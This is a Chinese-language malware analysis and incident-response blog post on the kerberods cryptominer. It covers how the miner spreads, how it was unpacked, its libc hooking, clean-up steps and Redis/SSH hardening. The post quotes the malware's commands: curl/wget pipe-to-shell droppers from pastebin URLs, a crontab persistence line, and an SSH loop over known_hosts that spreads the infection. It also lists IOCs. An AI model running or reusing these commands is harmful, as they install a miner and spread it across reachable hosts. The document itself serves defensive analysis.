挖矿病毒kerberods的分析和应急响应过程

by LauCyun Mar 27 00:28:29 78,924 views

最近,发生大规模挖矿事件,判断为 kerberods 病毒导致,并在第一时间进行了应急处置。

该病毒短时间内即造成大量 Linux 主机沦陷,它的传播方式分为三种,分别是:

  1. 从 known_hosts 文件读取 IP 列表,用于登录信任该主机的其他主机,并控制它们执行恶意命令;
  2. 利用 Redis 未授权访问和弱密码这两种常见的配置问题进行控制它们执行恶意命令;
  3. 利用 SSH 弱密码进行爆破,然后控制它们执行恶意命令。

这三种传播手段都不是第一次用于病毒,但结合在一起爆发出巨大的威力。

因此,本文在分析此次 kerberods 挖矿病毒、提供清理建议的同时,并针对类似的大规模入侵事件的应急和预防给出建议。

该病毒的感染路径如下图所示:


图1 kerberods感染路径

0x1 病毒特征

要判断是否感染此病毒,可从以下几个方面入手:

  1. 查看计划任务中是否存在以下任务信息:
  2. 查看/usr/sbin目录中是否有 kerberods 文件,/etc/init.d/中是否有 netdns 文件,以及/usr/local/lib/中是否有libcset.so文件:
  3. 查看是否有以下进程信息,并且正在消耗大量 CPU 资源:

如果有以上特征,则说明你已经中毒啦Smiling Face with HornsAngry Face with HornsSmiling Face with Horns

0x2 恶意脚本

病毒的传播方式中都需要执行恶意命令,那么其恶意命令的内容是啥呢?如下所示:

(curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh >/dev/null 2>&1 &

可发现它是执行恶意脚本下载命令,其恶意脚本内容如下所示:

(curl -fsSL https://pastebin.com/raw/tqJjUD9d||wget -q -O- https://pastebin.com/raw/tqJjUD9d)|sed 's/\r//'|sh

又双叒叕是执行恶意脚本下载命令,通过对恶意脚本内容的分析,发现其脚本主要作用是:

  1. 将下载自身的指令添加到 crontab 定时任务,10分钟执行一次;
    echo "*/10 * * * * (curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh" | crontab -
  2. 杀死同类的挖矿僵尸病毒进程:
  3. 杀死 CPU 占用大于80%的其他进程;
    ps aux|grep -v grep|grep -v khugepageds|awk '{if($3>=80.0) print $2}'|xargs kill -9
  4. 下载并执行恶意程序 kerberods:
  5. 对信任当前主机的机器进行横向传播。
    if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
      for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh >/dev/null 2>&1 &' & done
    fi

接下来,将通过反编译对病毒进行分析。

0x3 针对kerberods分析

1 脱壳

通过分析发现,该病毒文件还是采用了 UPX 壳,只是对其中的魔数进行了修改,如图8所示:


图8 病毒文件的魔数

只需将其魔数修改一下即可,修改如下图所示:


图9 修改后病毒文件的魔数

修复后,使用upx -d命令进行脱壳,如下图所示:


图10 脱壳

可以看到,已经脱壳成功。

2 还原符号信息

将脱壳后的病毒文件拖进 IDA 进行反编译。

图11 IDA反编译

从图11可发现,函数名都是随机字符串,通过观察字符串可以推断出程序应该是使用 Golang 编写。

由于病毒文件去掉了符号信息,所以这里需要使用符号还原脚本对程序中的符号进行还原,脚本地址是:https://github.com/sibears/IDAGolangHelper

也可以使用@RedNaga表哥编写的脚本,脚本地址:https://github.com/strazzere/golang_loader_assist,若想了解其原理可阅读该表哥的文章《Reversing GO binaries like a pro》

Golang 的版本选择 Go1.10 后,选择重名函数名对其进行还原,如图12所示:


图12 还原函数名

还原后,如图13所示:


图13 还原符号信息

3 分析 kerberods

通过对main_main函数分析,发现它可分为两部分:main_lsdmain_attack

图14 main_lsd函数


图15 main_attack函数

先从main_lsd函数开始分析。

3.1 添加开机启动

如下图中的github_com_hippies_LSD_LSDB_NetdnsWrite函数是将/tmp/kerberods通过github_com_hippies_LSD_LSDC_CopyFile函数拷贝到/usr/sbin/kerberods中,然后在/etc/init.d/中写入netdns文件,最后通过chkconfigsystemctl命令将netdns添加为开机启动项。

图16 写入netdns,并设置为开机启动

发现netdns是一个 Bash 脚本,具体内容如下:

#! /bin/bash
#chkconfig: - 99 01
#description: kerberods daemon
#processname: /usr/sbin/kerberods
### BEGIN INIT INFO
# Provides:     /user/sbin/kerberods
# Required-Start:
# Required-Stop:
# Default-Start:        2 3 4 5
# Default-Stop:         0 1 6
# Short-Description: kerberods deamon
# Description:          kerberods deamon
### END INIT INFO

LocalPath="/usr/sbin/kerberods"
name='kerberods'
pid_file="/tmp/.X11unix"
stdout_log="/var/log/$name.log"
stderr_log="/var/log/$name.err"
get_pid(){
    cat "$pid_file"
}
is_running(){
    [ -f "$pid_file" ] &&/usr/sbin/kerberods -Pid $(get_pid) > /dev/null 2>&1
}
case "$1" in
start)
    if is_running; then
        echo "Already started"
    else
        echo "Starting $name"
        $LocalPath >>"$stdout_log" 2>> "$stderr_log" &
        echo $! > "$pid_file"
        if ! is_running; then
        echo "Unable to start, see$stdout_log and $stderr_log"
        exit 1
        fi
    fi
;;
stop)
    if is_running; then
        echo -n "Stopping$name.."
        kill $(get_pid)
        for i in {1..10}
        do
            if ! is_running; then
                break
            fi
            echo -n "."
            sleep 1
        done
        echo
        if is_running; then
            echo "Not stopped; maystill be shutting down or shutdown may have failed"
            exit 1
        else
            echo "Stopped"
            if [ -f "$pid_file"]; then
                rm "$pid_file"
            fi
        fi
    else
        echo "Not running"
    fi
;;
restart)
    $0 stop
    if is_running; then
        echo "Unable to stop, will notattempt to start"
        exit 1
    fi
    $0 start
;;
status)
    if is_running; then
        echo "Running"
    else
        echo "Stopped"
        exit 1
    fi
;;
*)
echo "Usage: $0{start|stop|restart|status}"
exit 1
;;
esac
exit 0

其是 kerberods 程序的启动、停止、重启、状态检查的管理脚本。

3.2 编译libcryptod.so

从图14可知,在 kerberods 中通过github_com_hippies_LSD_LSDB_LibWrite函数对libcryptod.c进行了编译,并将编译生成后的/usr/local/lib/libcryptod.so设置为预加载动态链接库。

图17 编译libcryptod.c

如下图是libcryptod.c的函数列表:


图18 libcryptod.c函数列表

很明显病毒是通过 hook libc.so中的函数的方式将与病毒相关的信息进行了隐藏。

比如lstat函数,具体如下:


图19 lstat函数

从上图代码可发现,它是 Hook 了系统__lxstat函数,他不能包括khugepageds、libcryptod.so等这几个字符串的文件。

其他几个命令,如readdir也是类似,无法正常返回与病毒相关的结果。

fopen函数更是变本加厉,由于系统查询cpu使用情况和端口占用情况时,都会调用fopen,于是病毒hook了这一函数,使其在读取/proc/stat/proc/net/tcp等文件时,调用伪造函数,如下图所示:


图20 fopen的Hook函数

其中forge_proc_cpu函数,将返回硬编码的字符串,如下图所示:

图21 forge_proc_cpu函数

这种对查看系统状态功能的恶意 Hook,导致用户难以通过简单自查,确定挖矿是否存在以及挖矿进程是哪个。

3.3 定时任务

从图14可知,在 kerberods 中通过github_com_hippies_LSD_LSDC_Cron函数将恶意下载命令添加到/etc/cron.d/root等多个定时任务文件中。


图22 写如定时任务

3.4 写入挖矿程序

kerberods 会通过github_com_hippies_LSD_LSDC_Getcmdnums函数对 khugepageds 的运行状态进行检测,如果未运行则通过github_com_hippies_LSD_LSDB_KWR函数释放挖矿程序 khugepageds 并运行,如下图所示:


图23 释放挖矿程序

3.5 Redis横向传播

kerberods 中关于 Redis 横向传播过程是先遍历内网 IP 和外网 IP,然后利用 Redis 未授权访问和弱密码这两种常见的配置问题进行传播,其过程涉及到的函数有:

main_main
-> main_attack
-> github_com_hippies_LSD_LSDA_Aago
-> github_com_hippies_LSD_LSDA_getiplista
-> github_com_hippies_LSD_LSDA_Aago_func1
-> github_com_hippies_LSD_LSDA_runtwo
-> github_com_hippies_LSD_LSDA_run
-> github_com_gomodule_redigo_redis_DialTimeout

通过对测试机上进行Wireshark 抓包,抓取到的 Redis 攻击行为如下图所示:


图24 扫描Redis服务

通过反编译,其核心逻辑如下图所示:


图25 Redis横向传播的逻辑

通过github_com_gomodule_redigo_redis_DialTimeout函数判断 Redis 服务器是否未授权或弱口令,如果连接成功,则执行redis --version命令进行验证,然后写入病毒下载命令,从而达到横向传播。

3.6 SSH横向传播

kerberods 中关于 SSH 横向传播是遍历内网 IP 和外网 IP,然后对 SSH 服务器进行爆破,其过程涉及到的函数有:

main_main
-> main_attack
-> github_com_hippies_LSD_LSDA_Bbgo
-> github_com_hippies_LSD_LSDA_getiplistb
-> github_com_hippies_LSD_LSDA_bgo_func1
-> github_com_hippies_LSD_LSDA_cmdtwo
-> github_com_hippies_LSD_LSDA_cmd
-> golang_org_x_crypto_ssh_Password
-> golang_org_x_crypto_ssh_Dial
-> golang_org_x_crypto_ssh__ptr_Client_NewSession

通过对测试机上进行Wireshark 抓包,抓取到的 SSH 攻击行为如下图所示:

图26 扫描SSH服务

通过反编译,其核心逻辑如下图所示:


图27 SSH横向传播的逻辑

通过golang_org_x_crypto_ssh__ptr_Client_NewSession函数创建 SSH 会话,如果创建成功,则执行病毒下载命令,从而达到横向传播。

0x4 针对khugepageds分析

通过上面的方法对 khugepageds 进行脱壳,然后拖进 IDA 中进行分析,发现它是 xmrig 挖矿系统。

xmrig项目地址:https://github.com/xmrig/xmrig

图28 xmrig挖矿系统

所以,khugepageds 就没啥好分析的,直接到 Github 看源码即可。

进一步分析,找到其钱包地址:


图29 钱包地址

其钱包地址为:

44qJYxdbuqSKarYnDSXB6KLbsH4yR65vpJe3ELLDii9i4ZgKpgQXZYR4AMJxBJbfbKZGWUxZU42QyZSsP4AyZZMbJBCrWr1

0x5 应急响应方法

1. 已针对病毒开发自动化清理脚本,​脚本地址:

https://git.laucyun.com/security/lsd_malware_clean_tool/blob/master/clear_kerberods.sh

2. 紧急情况下,为避免内网大量传播,可以临时对被感染机器先进行断网隔离处理。

3. 不影响业务的情况下,建议临时删除机器上.ssh/known_hosts和登录密钥文件。

0x6 加固建议

1 Redis加固

病毒程序是通过利用 Redis 未授权访问和弱密码进行植入,所以得做好 Redis 方面的加固,建议如下:

  1. 设置访问密码

    redis.conf中找到requirepass字段进行访问密码设置,举例配置如下:

    ​requirepass password123!@#

    确保密码的复杂度,配置完毕后重启服务即可生效。

  2. 服务运行权限最小化

    请以较低权限账号运行 Redis 服务,并禁用该账号的登录权限。以下操作创建了一个无 home 目录权限,且无法登录的普通账号:

    useradd -M -s /sbin/nologin [username]

    注意:该操作需要重启 Redis 才能生效。

  3. 隐藏重要命令

    Redis 本身是无权限分离,从而容易导致攻击者登录后可执行任意操作,因此需要隐藏以下重要命令:FLUSHDBFLUSHALLKEYSPEXPIREDELCONFIGSHUTDOWNBGREWRITEAOFBGSAVESAVESPOPSREMRENAMEDEBUGEVAL

    另外,在 Redis 2.8.1 及 Redis 3.x (低于 3.0.2) 版本下存在 EVAL 沙箱逃逸漏洞,攻击者可通过该漏洞执行任意 Lua 代码。

    下述配置将configflushdbflushall设置为空,也可设置为一些复杂的、难以猜测的名字。

    rename-command CONFIG ""
    rename-command flushall ""
    rename-command flushdb ""
    rename-command shutdown shotdown_test

    保存后,执行/etc/init.d/redis-server restart重启生效。

2 SSH加固

病毒程序是通过利用 SSH 弱密码进行植入,所以也得做好 SSH 方面的加固,建议如下:

  1. 服务器不使用默认的 22 端口

    22 端口是 SSH 服务的默认端口,这也是黑客扫描服务器 SSH 服务的默认端口。

    修改 SSH 端口的方法如下:编辑/etc/ssh/sshd_config,将其中的Port参数改成你想要的端口(通常 5 位数字最好),修改完成之后,重启sshd服务生效。

  2. 禁止使用密码登陆,使用公钥登陆

    本地机器可以使用ssh-keygen -t rsa生成公钥和私钥,然后将公钥追加到服务器上的~/.ssh/authorized_keys文件,注意此文件的权限是600。

    SSH 配置如下:

    RSAAuthentication yes                   # RSA认证
    PubkeyAuthentication yes                # 开启公钥验证
    AuthorizedKeysFile .ssh/authorized_keys # 验证文件路径
    PasswordAuthentication no               # 禁止密码认证
    PermitEmptyPasswords no                 # 禁止空密码

    最后重启sshd服务即可生效。

  3. 禁止 root 用户登录

    线上服务器,我们通常会以普通用户登陆,然后再su root切换到root用户,这样做的好处是,即使被攻击了,也能有相应的保障。

    具体的方法是修改/etc/ssh/sshd_config配置文件,将PermitRootLogin改为no

0x7 IOC

1 钱包地址

44qJYxdbuqSKarYnDSXB6KLbsH4yR65vpJe3ELLDii9i4ZgKpgQXZYR4AMJxBJbfbKZGWUxZU42QyZSsP4AyZZMbJBCrWr1

2 恶意URL

https://pastebin.com/raw/sByq0rym
https://pastebin.com/raw/tqJjUD9d
https://pastebin.com/raw/sByq0rym
https://pastebin.com/raw/TS4NeUnd
http://sowcar.com/t6/689/1553329669x2890191853.jpg
http://sowcar.com/t6/689/1553329719x2890149536.jpg

3 恶意文件

be974c9cf266bc37270af3dd457ec9ab  1553329669x2890191853.jpg
9a84bf99fade79421ffe5ec8b3998917  1553329719x2890149536.jpg
be974c9cf266bc37270af3dd457ec9ab  kerberods
71222c7976d23df90301af0bfa09508d  khugepageds
ed7ef73178123e49657e594f22bbc01a  libcryptod.c

0x8 参考

Tags